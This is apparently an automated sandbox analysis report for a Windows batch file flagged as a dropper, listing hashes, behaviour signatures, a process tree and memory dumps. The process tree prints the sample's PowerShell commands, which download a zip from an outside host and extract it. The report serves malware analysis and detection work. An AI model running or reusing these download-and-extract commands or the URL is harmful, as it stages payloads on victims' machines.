1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1563s
max time network
1568s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 01:31

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General

Target

tesy - Copy (9).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2360	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2360	powershell.exe
1684	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	1684	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 2360	2448	cmd.exe	29
PID 2448 wrote to memory of 2360	2448	cmd.exe	29
PID 2448 wrote to memory of 2360	2448	cmd.exe	29
PID 2448 wrote to memory of 1684	2448	cmd.exe	30
PID 2448 wrote to memory of 1684	2448	cmd.exe	30
PID 2448 wrote to memory of 1684	2448	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1684

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c0bc031a6c44ef00382fd65d8cf406b7

SHA1
60e644587e51af4b91dd495e1f257b5ed77ea556

SHA256
54cdbd95acfb5331b458ec9ef3e60a37731de11b68f5c85472cfb85ffb9805ea

SHA512
b94e2a0d95881eeeae766020160fc55cdcd22498e9a4c245887defc2f202631eadb2da193243156bb4628bd0f84ee98f60b62b64974c18cded9f2b869d526f15

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AJNOKX4GO1O2BUFFL3XI.temp

Filesize
7KB

MD5
c0bc031a6c44ef00382fd65d8cf406b7

SHA1
60e644587e51af4b91dd495e1f257b5ed77ea556

SHA256
54cdbd95acfb5331b458ec9ef3e60a37731de11b68f5c85472cfb85ffb9805ea

SHA512
b94e2a0d95881eeeae766020160fc55cdcd22498e9a4c245887defc2f202631eadb2da193243156bb4628bd0f84ee98f60b62b64974c18cded9f2b869d526f15

Download Submit
memory/1684-32-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1684-31-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/1684-30-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1684-29-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/1684-28-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/1684-27-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/1684-25-0x000007FEF55B0000-0x000007FEF5F4D000-memory.dmp

Filesize
9.6MB

Download
memory/1684-26-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/1684-24-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2360-9-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2360-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2360-18-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2360-13-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2360-14-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2360-15-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2360-12-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2360-16-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2360-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

Download
memory/2360-10-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2360-8-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2360-7-0x00000000026F0000-0x0000000002770000-memory.dmp

Filesize
512KB

Download
memory/2360-6-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2360-5-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download